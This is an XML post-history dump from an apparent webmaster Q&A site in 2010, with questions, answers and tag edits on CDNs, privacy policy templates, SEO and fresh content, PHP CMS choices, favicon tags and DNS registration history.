  <row Id="3751" PostHistoryTypeId="2" PostId="2000" RevisionGUID="1f2c10e2-7883-4ebf-a155-5273390b124a" CreationDate="2010-08-06T20:24:36.553" UserId="1111" Text="Depending on the target state/country (or the world) i would use many cluster (&quot;Cloud&quot;) solutions on different locations (location networks should be peered ;-)). On one side you have the full control over your CDN but on the other site you have a lot to do (like monitoring, taking care on soft- and hardware infrastructure and many more).&#xD;&#xA;&#xD;&#xA;So &quot;managed&quot; solutions like AWS or something. There are a lot of CDN/Cloud providers which provides a great range of features.&#xD;&#xA;&#xD;&#xA;OFFTOPIC: Take a look at Puppet[1]  :-)&#xD;&#xA;&#xD;&#xA;[1] http://www.puppetlabs.com/" />
  <row Id="3752" PostHistoryTypeId="6" PostId="1991" RevisionGUID="3809c4f3-1b20-4d99-8152-2cba6f0abdc3" CreationDate="2010-08-06T20:27:13.160" UserId="1111" Comment="edited tags" Text="&lt;seo&gt;&lt;ajax&gt;&lt;crawling&gt;" />
  <row Id="3753" PostHistoryTypeId="2" PostId="2001" RevisionGUID="22a239ad-4a40-4fe5-9c0e-d055b966a0cf" CreationDate="2010-08-06T21:20:28.407" UserId="1242" Text="Purely historically:&lt;br&gt;&#xD;&#xA;Back in the days before Facebook games, people were all in to browser based, text-format MMO's.&#xD;&#xA;&#xD;&#xA;A relatively new one was Ogame. It was graphic heavy and a map system of 9 times 999 pages(9 universes with 999 sectors with room for 15 planets each, and each planet could have a moon).&#xD;&#xA;&#xD;&#xA;The amount of users joining was insane and the amount of traffic even more so.&#xD;&#xA;&#xD;&#xA;So what did they do to solve it? They started using a PHP template system and allowed users to host the images and CSS files themselves. All you had to do was click a checkbox and enter the absolute path to the base folder. They would save this in their database, use the HTML `&lt;base&gt;` element and and the template system set the URI from http://path/to/image to file:///path/to/image&#xD;&#xA;&#xD;&#xA;After that, all the img links could stay the same. Nothing needed to be downloaded, because the users already had it. Meaning faster page-load for the user(meaning better product reviews) and also lower bandwidth usage for the company hosting the site.&#xD;&#xA;&#xD;&#xA;And as an added bonus, they sold it as &quot;make you own custom backgrounds and images, aren't we nice guys for letting you do this?&quot;" />
  <row Id="3754" PostHistoryTypeId="2" PostId="2002" RevisionGUID="95ff3d55-4f13-456d-a440-1b8db6e41eb9" CreationDate="2010-08-07T00:14:13.610" UserId="134" Text="The excellent resouce artlung provided to the BBB website link is now moved. This was the closest thing I could find:&#xD;&#xA;http://www.bbb.org/us/WWWRoot/SitePage.aspx?site=70&amp;id=a17891ea-ce8e-48d7-a27a-e6d2e5833cea&#xD;&#xA;&#xD;&#xA;Linked within is a set of tips on how to create your privacy policy:&#xD;&#xA;http://www.bbbonline.org/UnderstandingPrivacy/PMRC/createpolicy.asp&#xD;&#xA;&#xD;&#xA;Here are a couple more generators online:&#xD;&#xA;http://www.oecd.org/document/39/0,2340,en_2649_34255_28863271_1_1_1_1,00.html&#xD;&#xA;&#xD;&#xA;and... ( this one requires membership):&#xD;&#xA;&#xD;&#xA;http://www.the-dma.org/privacy/creating.shtml " />
  <row Id="3755" PostHistoryTypeId="5" PostId="2002" RevisionGUID="adffef8e-600c-4b4b-bea6-d558a663d387" CreationDate="2010-08-07T00:41:03.823" UserId="134" Comment="added 153 characters in body" Text="The excellent resouce artlung provided to the BBB website link is now moved. This was the closest thing I could find:&#xD;&#xA;http://www.bbb.org/us/WWWRoot/SitePage.aspx?site=70&amp;id=a17891ea-ce8e-48d7-a27a-e6d2e5833cea&#xD;&#xA;&#xD;&#xA;Linked within is a set of tips on how to create your privacy policy:&#xD;&#xA;http://www.bbbonline.org/UnderstandingPrivacy/PMRC/createpolicy.asp&#xD;&#xA;&#xD;&#xA;Here are a couple more generators online:&#xD;&#xA;http://www.oecd.org/document/39/0,2340,en_2649_34255_28863271_1_1_1_1,00.html&#xD;&#xA;&#xD;&#xA;and... ( this one requires membership):&#xD;&#xA;&#xD;&#xA;http://www.the-dma.org/privacy/creating.shtml &#xD;&#xA;&#xD;&#xA;You may also find the [Fair Information Practice Principals][1] at the FTC interesting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ftc.gov/reports/privacy3/fairinfo.shtm" />
  <row Id="3756" PostHistoryTypeId="2" PostId="2003" RevisionGUID="be50d9c9-c69b-4dc1-bf9b-76e65d52d608" CreationDate="2010-08-07T01:00:45.983" UserId="229" Text="We have a high traffic site and have a lot of pictures that are loaded on each page.  We have dedicated servers but decided to put the pictures on [Amazon S3][1].  It sounds like you may be talking about video files or some other type of large file which I think would still apply here.  Here are some pros and cons (for us)&#xD;&#xA;&#xD;&#xA;**Pros**&#xD;&#xA;&#xD;&#xA; - Less diskspace needed on our servers&#xD;&#xA; - Less bandwidth for our servers&#xD;&#xA; - Our log files are significantly smaller&#xD;&#xA; - We can easily integrate it with [Amazon CloudFront][2] to make the loading even faster for visitors&#xD;&#xA;&#xD;&#xA;**Cons**&#xD;&#xA;&#xD;&#xA; - It costs a LITTLE more.  We could save a little money by having it on our own servers&#xD;&#xA; - Less control over them (Amazon) going down...lucky for us, they don't really go down. :)&#xD;&#xA;&#xD;&#xA;**Other Thoughts**&#xD;&#xA;&#xD;&#xA;If it isn't media files or large file downloads that your talking about, my answer and several of the others might not make sense.  Give us some more details and we'll do our best to help.&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/s3/&#xD;&#xA;  [2]: http://aws.amazon.com/cloudfront/" />
  <row Id="3757" PostHistoryTypeId="5" PostId="383" RevisionGUID="f16d721f-6ec4-45d9-b9fe-99d0a3a9c144" CreationDate="2010-08-07T01:18:03.000" UserId="26" Comment="link to bbb sample privacy notice changed" Text="The [**Better Business Bureau Online**][1] has a [**Sample Privacy Notice**][2] which is as good as any in terms of a simple, but thorough policy. It has these sections:&#xD;&#xA;&#xD;&#xA; - Our Commitment To Privacy&#xD;&#xA; - The Information We Collect&#xD;&#xA; - How We Use Information&#xD;&#xA; - Our Commitment To Data Security&#xD;&#xA; - Our Commitment To Children's Privacy&#xD;&#xA; - How To Access Or Correct Your Information&#xD;&#xA; - How To Contact Us&#xD;&#xA;&#xD;&#xA;[**Here's another one**][3], from apps.gov, with these headings:&#xD;&#xA;&#xD;&#xA; - Information Collected and Stored Automatically&#xD;&#xA; - If You Provide Personal Information&#xD;&#xA; - Cookies&#xD;&#xA; - Links to Other Sites&#xD;&#xA; - Children’s Privacy&#xD;&#xA; - Internet Security&#xD;&#xA; - Changes to this Policy&#xD;&#xA;&#xD;&#xA;Those two together should give you a solid template. If you store and collect more data, be clear about the data retention and reselling policies and you might think about putting together something more like an End User License Agreement.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bbbonline.org/&#xD;&#xA;  [2]: http://www.bbbonline.org/reliability/privacy/&#xD;&#xA;  [3]: http://blog.citizen.apps.gov/release/home/privacy-policy/ " />
  <row Id="3758" PostHistoryTypeId="2" PostId="2004" RevisionGUID="8fe8b772-705c-48ae-8244-32b76ac5b7a7" CreationDate="2010-08-07T01:50:00.693" UserId="26" Text="Assume a website has quality content, let's say it's about a topic that does not change: a company whose services and staff stay the same, and they have no news to speak of. The content is accurate, it's just static.&#xD;&#xA;&#xD;&#xA;Will this site *always* lose in search engine results to the sites of similar companies with similar websites with, say, a simple piece of content (e.g.: home page with a &quot;what we're up to lately&quot; subsection) monthly?&#xD;&#xA;&#xD;&#xA;`&lt;ramble&gt;`&#xD;&#xA;&#xD;&#xA;I get frustrated with clients who are given tools to update their sites, but don't. My intuition is that by not adding &quot;fresh&quot; content to their site, even minimal content, they are hurting their search position in a way that's significant. Is that a valid intuition? Are there studies showing this is so or not so? I don't want to push clients to put more on the web if there's not going to be a return for that effort. I was considering building an automated tool to allow clients to set a weekly, monthly, etc reminder to add or update content. Any opinions on how much is enough for the SEO boost? Not every site needs a blog or has regular press releases.&#xD;&#xA;&#xD;&#xA;`&lt;/ramble&gt;`" />
  <row Id="3759" PostHistoryTypeId="1" PostId="2004" RevisionGUID="8fe8b772-705c-48ae-8244-32b76ac5b7a7" CreationDate="2010-08-07T01:50:00.693" UserId="26" Text="Should I encourage clients to update content for SEO reasons?" />
  <row Id="3760" PostHistoryTypeId="3" PostId="2004" RevisionGUID="8fe8b772-705c-48ae-8244-32b76ac5b7a7" CreationDate="2010-08-07T01:50:00.693" UserId="26" Text="&lt;seo&gt;&lt;content&gt;&lt;clients&gt;" />
  <row Id="3761" PostHistoryTypeId="5" PostId="1911" RevisionGUID="1479fb47-7687-4a8d-b7c7-15024014de72" CreationDate="2010-08-07T02:45:11.613" UserId="180" Comment="Changed link to current version of Apache docs" Text="Apache resources: http://httpd.apache.org/docs/2.2/howto/htaccess.html" />
  <row Id="3762" PostHistoryTypeId="5" PostId="2004" RevisionGUID="d112e523-2087-44b6-9e66-ea24849b79ae" CreationDate="2010-08-07T03:04:06.427" UserId="26" Comment="added 13 characters in body" Text="Assume a website has quality content, let's say it's about a topic that does not change: a company whose services and staff stay the same, and they have no news to speak of. The content is accurate, it's just static.&#xD;&#xA;&#xD;&#xA;Will this site *always* lose in search engine results to the sites of similar companies with similar websites with, say, a simple piece of content (e.g.: home page with a &quot;what we're up to lately&quot; subsection) that changes monthly?&#xD;&#xA;&#xD;&#xA;`&lt;ramble&gt;`&#xD;&#xA;&#xD;&#xA;I get frustrated with clients who are given tools to update their sites, but don't. My intuition is that by not adding &quot;fresh&quot; content to their site, even minimal content, they are hurting their search position in a way that's significant. Is that a valid intuition? Are there studies showing this is so or not so? I don't want to push clients to put more on the web if there's not going to be a return for that effort. I was considering building an automated tool to allow clients to set a weekly, monthly, etc reminder to add or update content. Any opinions on how much is enough for the SEO boost? Not every site needs a blog or has regular press releases.&#xD;&#xA;&#xD;&#xA;`&lt;/ramble&gt;`" />
  <row Id="3763" PostHistoryTypeId="9" PostId="1991" RevisionGUID="8367ea5c-56a4-46ad-8990-b65204d03946" CreationDate="2010-08-07T04:19:41.837" UserId="763" Comment="Rollback to [e97aba8c-734c-4ebc-89ab-619a6909b550]" Text="&lt;seo&gt;&lt;google&gt;&lt;ajax&gt;&lt;crawling&gt;" />
  <row Id="3764" PostHistoryTypeId="2" PostId="2005" RevisionGUID="6d5da810-654c-4bee-a26d-c0e8e817c05c" CreationDate="2010-08-07T04:28:24.917" UserId="763" Text="It appears to me that this is more than just a proposal - that Google is _already_ using this protocol.&#xD;&#xA;&#xD;&#xA;I found more info here. They have enough docs and FAQs on the subject that refer to websites actually being crawled this way already...&#xD;&#xA;&#xD;&#xA; - http://code.google.com/web/ajaxcrawling/&#xD;&#xA; - http://code.google.com/web/ajaxcrawling/docs/" />
  <row Id="3765" PostHistoryTypeId="2" PostId="2006" RevisionGUID="3c74d5ce-8de8-4a74-9a48-93be908de211" CreationDate="2010-08-07T04:31:41.840" UserId="763" Text="What is the best / most robust PHP-based Content Management System, in terms of feature set, ability to add-on functionality, ability to theme, size of community, etc.?" />
  <row Id="3766" PostHistoryTypeId="1" PostId="2006" RevisionGUID="3c74d5ce-8de8-4a74-9a48-93be908de211" CreationDate="2010-08-07T04:31:41.840" UserId="763" Text="Most robust open-source PHP CMS?" />
  <row Id="3767" PostHistoryTypeId="3" PostId="2006" RevisionGUID="3c74d5ce-8de8-4a74-9a48-93be908de211" CreationDate="2010-08-07T04:31:41.840" UserId="763" Text="&lt;cms&gt;&lt;php&gt;" />
  <row Id="3768" PostHistoryTypeId="10" PostId="2006" RevisionGUID="a6b34fe5-816f-451d-99e7-80a37e60b5fc" CreationDate="2010-08-07T04:34:35.813" UserId="180" CloseReasonId="3" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="3769" PostHistoryTypeId="5" PostId="2004" RevisionGUID="6be51679-7739-4559-aed2-e58a2b4fc16d" CreationDate="2010-08-07T04:52:19.960" UserId="26" Comment="added 4 characters in body" Text="Assume a website has quality content, let's say it's about a topic that does not change: a company whose services and staff stay the same, and they have no news to speak of. The content is accurate, it's just static.&#xD;&#xA;&#xD;&#xA;Will this site *always* lose in search engine results to the sites of similar companies with similar websites with, say, a simple piece of content (e.g.: home page with a &quot;what we're up to lately&quot; subsection) that changes monthly?&#xD;&#xA;&#xD;&#xA;`&lt;ramble&gt;`&lt;br&gt;&#xD;&#xA;I get frustrated with clients who are given tools to update their sites, but don't. My intuition is that by not adding &quot;fresh&quot; content to their site, even minimal content, they are hurting their search position in a way that's significant. Is that a valid intuition? Are there studies showing this is so or not so? I don't want to push clients to put more on the web if there's not going to be a return for that effort. I was considering building an automated tool to allow clients to set a weekly, monthly, etc reminder to add or update content. Any opinions on how much is enough for the SEO boost? Not every site needs a blog or has regular press releases.&#xD;&#xA;&lt;br&gt;`&lt;/ramble&gt;`" />
  <row Id="3770" PostHistoryTypeId="2" PostId="2007" RevisionGUID="caaaa6c0-d66a-4836-bc42-e89fb9c977a7" CreationDate="2010-08-07T07:10:34.857" UserId="745" Text="Freshness may be also a factor, but I'm not sure just *how* much of a factor it is. However, I know that bigger sites rank better. And if you think about it, it makes sense because PageRank is based largely on links to a page. I think that the reason a lot of SEOs recommend having a blog is because having a bigger site matters in terms of the available PageRank that can be thrown around. Also, you have complete control over the anchor text and linking scheme on your own site, whereas you do not on other sites.&#xD;&#xA;&#xD;&#xA;At the bare minimum, make sure that their pages contain the keyword phrases that have the highest search volume for their particular niche. A page can be on-topic and accurate, but if it uses the wrong keywords, it can miss a lot of traffic by *that***much**.&#xD;&#xA;&#xD;&#xA;Should a client update for SEO purposes? Yes, but that's just part of it. SEO is only a subset of the different disciplines needed for a successful website. I would argue that any business or organization that's interested in doing well online needs to be constantly updating their site, and not just for SEO. Iterative testing and improvement is the only way to have a consistently successful website and it covers everything from SEO to design, copy, offers, marketing, conversion, etc. If you're not testing and improving, you're falling behind.&#xD;&#xA;&#xD;&#xA;Do clients buy into that? Some do, some don't. It depends on how serious they are about their business and what they're looking to get out of their website. The better you can educate them as to what is possible and what their competitors may be doing, the more of a chance you have of convincing them about updating, testing, and improving their sites." />
  <row Id="3771" PostHistoryTypeId="2" PostId="2008" RevisionGUID="4ef67564-ffe2-48e1-9021-516fe13706a7" CreationDate="2010-08-07T09:05:42.633" UserId="1034" Text="I am a little in the same position as you - cranking out my own pages in AJAX/PHP/HTML/MYSQL, and looking at CMSes. &#xD;&#xA;&#xD;&#xA;CMS seems very attractive and the advantages are obvious, but so far I have found they also represent a significant investment in study.&#xD;&#xA;&#xD;&#xA;Installing a CMS like Joomla is easy as pie, you can find templates and build something that looks good in minutes, and easily add articles and pictures and stuff BUT if you are going to customize anything, or if you need something to work in some specific way, you will need to learn how the CMS works behind the scenes, how to write plugins, how to create templates... &#xD;&#xA;&#xD;&#xA;I made a basic install of Joomla on my testing server. 3,918 files, 712 folders and 36 db tables. Figuring out what does what and how is bound to take some time. &#xD;&#xA;&#xD;&#xA;That said, making templates doesn't seem too difficult and you can add features in minutes where it would take some serious work otherwise. For instance, I just went and added a blog component to my test installation. It took about 30 minutes to find, install, configure and post the first entry. Making your own blog engine and integrating it into your website could easily take weeks.&#xD;&#xA;&#xD;&#xA;If you are willing to surrender the level of control you are used to (at least at the beginning) and to learn how to do stuff in whatever CMS you choose, a CMS should be great. &#xD;&#xA;&#xD;&#xA;Personally, I am looking into using wordpress as a CMS, but until I feel comfortable with it to do whatever I want, I stick to coding by hand." />
  <row Id="3772" PostHistoryTypeId="16" PostId="2008" RevisionGUID="4ef67564-ffe2-48e1-9021-516fe13706a7" CreationDate="2010-08-07T09:05:42.633" UserId="-1" />
  <row Id="3773" PostHistoryTypeId="2" PostId="2009" RevisionGUID="bf3a1ff0-f3d1-44ae-b1d5-c2a147f6c198" CreationDate="2010-08-07T11:45:10.830" UserId="1064" Text="&gt; ... a company whose services and staff&#xD;&#xA;&gt; stay the same, and they have no news&#xD;&#xA;&gt; to speak of ...&#xD;&#xA;&#xD;&#xA;I believe this statement touches upon the larger problem of &quot;why would anyone search for this&quot; - potential customers couldn't possibly care less about a company's &quot;about us&quot; and &quot;corporate hierarchy&quot; details.&#xD;&#xA;&#xD;&#xA;Unless the company has products or services to sell, there's no sense having a website to begin with...&#xD;&#xA;&#xD;&#xA;Given that the company must have something to sell, its website should primarily be about what it's selling.&#xD;&#xA;&#xD;&#xA;If there are no competitors to worry about, stale content works fine.&#xD;&#xA;&#xD;&#xA;If (as is often the case) there are competitors to worry about (and, as is not so often the case, the website is being treated as a part of the company's ongoing marketing activities and not simply as a brochure) then strategies like adding content and updating content should come into play.&#xD;&#xA;&#xD;&#xA;The only answer to &quot;how much is enough?&quot; will be - predictably - &quot;however much it takes to beat out xyz competitor for the top slot in the SERP's&quot; (and that's not just content - the top slot usually requires link-building efforts and, for longevity's sake, it helps to have a noteworthy product or service)." />
  <row Id="3774" PostHistoryTypeId="2" PostId="2010" RevisionGUID="c39da9f9-8044-434e-844d-550ec2afb54b" CreationDate="2010-08-07T13:57:45.240" UserId="26" Text="I know of 2 basic kinds of default web icons for websites:&#xD;&#xA;&#xD;&#xA;- [**Favicon**][1]: place an `.ico` formatted file at the root of your site named `favicon.ico` and most desktop browsers will find it and display it in various contexts (bookmarks, tabs). Can also be added in code, which allows you to specify other names and other graphics types to the file, though there are [type and size limitations for browsers][2]:&#xD;&#xA;&#xD;&#xA;    `&lt;link rel=&quot;shortcut icon&quot; href=&quot;/favicon.ico&quot; /&gt;`&lt;br&gt;&#xD;&#xA;    `&lt;link rel=&quot;icon&quot; href=&quot;/favicon.ico&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;- [**Web Clip Icon**][3]: place a `png` formatted file called either `apple-touch-icon.png` or `apple-touch-icon-precomposed.png` at the root of your site and iPhone OS/iOS versions of Safari will pick those up and store them when the site is added to the Home Screen. Can also be added with code like:&#xD;&#xA;&#xD;&#xA;    `&lt;link rel=&quot;apple-touch-icon&quot; href=&quot;/custom_icon.png&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;**Question**: Are there any other default icon graphics for a website a webmaster can include?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Favicon&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Favicon#Browser_support&#xD;&#xA;  [3]: http://developer.apple.com/safari/library/documentation/appleapplications/reference/safariwebcontent/configuringwebapplications/configuringwebapplications.html" />
  <row Id="3775" PostHistoryTypeId="1" PostId="2010" RevisionGUID="c39da9f9-8044-434e-844d-550ec2afb54b" CreationDate="2010-08-07T13:57:45.240" UserId="26" Text="Favicon, icon, shortcut icon, apple-touch-icon: Are there any others?" />
  <row Id="3776" PostHistoryTypeId="3" PostId="2010" RevisionGUID="c39da9f9-8044-434e-844d-550ec2afb54b" CreationDate="2010-08-07T13:57:45.240" UserId="26" Text="&lt;iphone&gt;&lt;graphics&gt;&lt;favicon&gt;" />
  <row Id="3777" PostHistoryTypeId="2" PostId="2011" RevisionGUID="ea790f30-c260-4da9-bb41-9b4adef4bb0b" CreationDate="2010-08-07T14:45:10.000" UserId="55" Text="I can't think of a site that would not benefit from at least monthly content updates. I tend to go with a blog, or something much like a blog in most cases because I find that the informal nature of opinion / editorial articles helps build the bridge between clients and self publishing.&#xD;&#xA;&#xD;&#xA;I can not think of a single industry that does not have its own sort of 'politics' that a company could write about. Even if your work is just in fasteners, there are bound to be events in the fastener industry that someone could write about.&#xD;&#xA;&#xD;&#xA;The main purpose of any single element in a site must be for the site's users. SEO, in my humble opinion is best achieved incidentally. Users will appreciate seeing how a company has grown within its industry over time, which also significantly boosts the chances of the company site turning up in searches.&#xD;&#xA;&#xD;&#xA;I try my best to explain to them that fresh content also helps conversions, in addition to helping to get visitors from search engines.&#xD;&#xA;&#xD;&#xA;The other thing you can do is develop a relationship with a few freelance writers, refer them to companies who just can't seem to handle self publishing beyond the occasional press release.&#xD;&#xA;&#xD;&#xA;Whatever way you do it, make sure that you adequately articulate that regular publishing is not ***just*** for SEO." />
  <row Id="3778" PostHistoryTypeId="2" PostId="2012" RevisionGUID="5c8121e0-09d6-457f-889b-8b474b65974b" CreationDate="2010-08-07T14:48:20.040" UserId="1111" Text="This depends on which platform you target. But i think most - standard compatible - mobile browsers understands the default favicon tags. Maybe you can search for special use cases (e.g. create desktop shortcut with a special icon) on platforms like Android, iOS, WebOS, ...&#xD;&#xA;&#xD;&#xA;I've just developed a few websites targeting on iPhone Users and on this sites I used Wordpress with a specialized version of the WPTouch theme." />
  <row Id="3779" PostHistoryTypeId="2" PostId="2013" RevisionGUID="ac4b4b94-da9d-44d2-bb90-2301f782c9a2" CreationDate="2010-08-07T15:14:53.377" UserId="26" Text="Is there a canonical place that stores DNS registration information? For example for a domain that has changed hands a few times, can I see a listing of the owner information* over time and when the transfers took place?&#xD;&#xA;&#xD;&#xA;**whether it's proxied or not*" />
  <row Id="3780" PostHistoryTypeId="1" PostId="2013" RevisionGUID="ac4b4b94-da9d-44d2-bb90-2301f782c9a2" CreationDate="2010-08-07T15:14:53.377" UserId="26" Text="How can I get a history of DNS registration information?" />
  <row Id="3781" PostHistoryTypeId="3" PostId="2013" RevisionGUID="ac4b4b94-da9d-44d2-bb90-2301f782c9a2" CreationDate="2010-08-07T15:14:53.377" UserId="26" Text="&lt;dns&gt;&lt;research&gt;" />
  <row Id="3782" PostHistoryTypeId="5" PostId="2013" RevisionGUID="7c8c008a-16de-47b8-8fcb-ea559bcf9231" CreationDate="2010-08-07T15:30:19.533" UserId="26" Comment="added 183 characters in body" Text="Is there a canonical place that stores DNS registration information? For example for a domain that has changed hands a few times, can I see a listing of the owner information* over time and when the transfers took place?&#xD;&#xA;&#xD;&#xA;**whether it's proxied or not*&#xD;&#xA;&#xD;&#xA;**Note:** I'm interested in any domain, whether it's an [international TLD][1] or a country coded site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_Internet_top-level_domains" />
  <row Id="3783" PostHistoryTypeId="2" PostId="2014" RevisionGUID="3e1210e0-54a7-470b-af22-b0daaadc9c1d" CreationDate="2010-08-07T17:58:06.887" UserId="1293" Text="http://whois.sc is the closest thing to your requirements that I'm aware of, although they want you to pay if you want access to historical information. " />
  <row Id="3784" PostHistoryTypeId="6" PostId="1689" RevisionGUID="a20b7d4e-7e7f-4d00-9f9d-1a82da0dbd75" CreationDate="2010-08-07T18:47:54.503" UserId="55" Comment="edited tags" Text="&lt;best-practice&gt;&lt;website-design&gt;" />
  <row Id="3785" PostHistoryTypeId="6" PostId="1897" RevisionGUID="111e4b9b-6bfb-4789-87fb-ceb831c90414" CreationDate="2010-08-07T18:48:09.310" UserId="55" Comment="edited tags" Text="&lt;web-development&gt;&lt;html5&gt;&lt;flash&gt;" />
  <row Id="3786" PostHistoryTypeId="6" PostId="1298" RevisionGUID="99a97398-4877-4e7a-887a-64189d4c394e" CreationDate="2010-08-07T18:48:24.660" UserId="55" Comment="edited tags" Text="&lt;moderation&gt;&lt;community-management&gt;" />
  <row Id="3787" PostHistoryTypeId="6" PostId="674" RevisionGUID="9e706b8e-8569-4e0a-bd61-890e39bbe34a" CreationDate="2010-08-07T18:48:39.107" UserId="55" Comment="edited tags" Text="&lt;seo&gt;&lt;google-adsense&gt;" />
  <row Id="3788" PostHistoryTypeId="6" PostId="1015" RevisionGUID="af48d2df-79b0-4ed4-ae80-0e78677e5ba9" CreationDate="2010-08-07T18:49:28.793" UserId="55" Comment="edited tags" Text="&lt;untagged&gt;" />
  <row Id="3789" PostHistoryTypeId="5" PostId="2006" RevisionGUID="5b7da1fb-c911-491f-9cef-5414a1955a80" CreationDate="2010-08-07T19:13:46.060" UserId="763" Comment="editing to be less subjective" Text="What are the strengths / weaknesses of the various PHP-based open source CMSes?" />
  <row Id="3790" PostHistoryTypeId="4" PostId="2006" RevisionGUID="5b7da1fb-c911-491f-9cef-5414a1955a80" CreationDate="2010-08-07T19:13:46.060" UserId="763" Comment="editing to be less subjective" Text="Strengths of various open-source PHP Content Management Systems?" />
  <row Id="3791" PostHistoryTypeId="5" PostId="2005" RevisionGUID="4b81fa51-118a-4d84-912b-e5a3e4292d23" CreationDate="2010-08-07T19:15:18.367" UserId="763" Comment="added 18 characters in body" Text="It appears to me that this is more than just a proposal - that Google is _already_ using this protocol.&#xD;&#xA;&#xD;&#xA;I found more info here. They have enough docs and FAQs on the subject that refer to websites actually being crawled this way already...&#xD;&#xA;&#xD;&#xA; - http://code.google.com/web/ajaxcrawling/&#xD;&#xA; - http://code.google.com/web/ajaxcrawling/docs/specification.html" />
  <row Id="3795" PostHistoryTypeId="11" PostId="2006" RevisionGUID="834791fe-ad6c-4f5f-918a-eb67c28ba719" CreationDate="2010-08-07T23:09:22.283" UserId="-1" Text="[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;txwikinger&quot;},{&quot;Id&quot;:745,&quot;DisplayName&quot;:&quot;Virtuosi Media&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="3796" PostHistoryTypeId="16" PostId="2006" RevisionGUID="9fdd4628-f461-447f-ba62-a2f97d003f64" CreationDate="2010-08-07T23:10:36.383" UserId="180" />
  <row Id="3797" PostHistoryTypeId="5" PostId="1909" RevisionGUID="a4604da3-1856-48d4-8719-ec48e081d104" CreationDate="2010-08-08T00:27:42.050" UserId="1245" Comment="Found newer version of spec, added link" Text="There is a [draft spec for RDFa in HTML5][1], but at present I'm not aware of any way to validate the results.  The main obstacle for using RDFa in straight HTML5 is that there is [no support for namespaces under HTML5 parsing rules][2].&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;Today I came across the up to date version of that spec, [RDFA in HTML][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.w3.org/html5/rdfa/rdfa-module.html&#xD;&#xA;  [2]: http://wiki.whatwg.org/wiki/FAQ#Will_there_be_support_for_namespaces_in_HTML.3F&#xD;&#xA;  [3]: http://www.w3.org/TR/rdfa-in-html/" />
  <row Id="3799" PostHistoryTypeId="2" PostId="2015" RevisionGUID="fa10c0ae-60ae-47bb-93b9-c45f7b50ee3b" CreationDate="2010-08-08T03:45:03.120" UserId="1361" Text="Have a look at a plugin such as Magic Fields. It uses Custom Fields internally, but the interface can have rich text editor, list drop down, etc. &#xD;&#xA;&#xD;&#xA;This allows you to define your content elements, their types and (for choices) their values. Then, your theme can display it.&#xD;&#xA;&#xD;&#xA;An alternative, would be to have a plugin area defined and decide what plugin would go in there. That's less flexible though, as it still does not allow for two page/post specific content pieces." />
  <row Id="3800" PostHistoryTypeId="6" PostId="1575" RevisionGUID="582cac3d-9575-40ca-9f7b-eda786649aa9" CreationDate="2010-08-08T05:53:54.403" UserId="55" Comment="edited tags" Text="&lt;pagerank&gt;" />
  <row Id="3801" PostHistoryTypeId="6" PostId="1887" RevisionGUID="aa6e07d7-3ccf-43d4-b56a-b412aab0030f" CreationDate="2010-08-08T05:54:11.173" UserId="55" Comment="edited tags" Text="&lt;user-engagement&gt;" />
  <row Id="3802" PostHistoryTypeId="6" PostId="1487" RevisionGUID="f46538c1-9218-4246-9a47-4357fcd5a0dd" CreationDate="2010-08-08T05:54:24.840" UserId="55" Comment="edited tags" Text="&lt;pagerank&gt;" />
  <row Id="3803" PostHistoryTypeId="6" PostId="1990" RevisionGUID="9b267f7a-86fc-4456-82a0-70be757ef168" CreationDate="2010-08-08T05:54:40.953" UserId="55" Comment="edited tags" Text="&lt;web-development&gt;&lt;tools&gt;" />
  <row Id="3804" PostHistoryTypeId="6" PostId="666" RevisionGUID="ae98507c-1a16-41e4-ad4a-9eca312352f1" CreationDate="2010-08-08T05:55:03.357" UserId="55" Comment="edited tags" Text="&lt;theme&gt;" />
  <row Id="3805" PostHistoryTypeId="6" PostId="1838" RevisionGUID="64b04d7a-6581-4e05-b6b5-15b7babddebc" CreationDate="2010-08-08T06:04:39.140" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;site-deployment&gt;&lt;server&gt;&lt;downtime&gt;" />
  <row Id="3806" PostHistoryTypeId="6" PostId="1689" RevisionGUID="456cd48f-3dfa-4e3e-a86f-e00f744eaee1" CreationDate="2010-08-08T06:05:01.980" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;website-design&gt;" />
  <row Id="3807" PostHistoryTypeId="6" PostId="1675" RevisionGUID="af762e56-2660-4bde-acc9-2160c76f4dee" CreationDate="2010-08-08T06:05:19.297" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;seo&gt;&lt;url-format&gt;" />
  <row Id="3808" PostHistoryTypeId="6" PostId="1459" RevisionGUID="ef6a2b04-3630-47c7-be24-8f3ca49e594b" CreationDate="2010-08-08T06:05:53.630" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;cache-control&gt;" />
  <row Id="3809" PostHistoryTypeId="6" PostId="1416" RevisionGUID="179ccc93-d66b-4eea-bc73-a0d54929c8da" CreationDate="2010-08-08T06:06:25.767" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;ssl-certificate&gt;" />
  <row Id="3810" PostHistoryTypeId="6" PostId="1263" RevisionGUID="f35b7652-04ad-479e-9b59-51556186594d" CreationDate="2010-08-08T06:06:52.550" UserId="180" Comment="Removing best-practice meta tag as per: http://blog.stackoverflow.com/2010/08/the-death-of-meta-tags/" Text="&lt;webmaster-tools&gt;" />
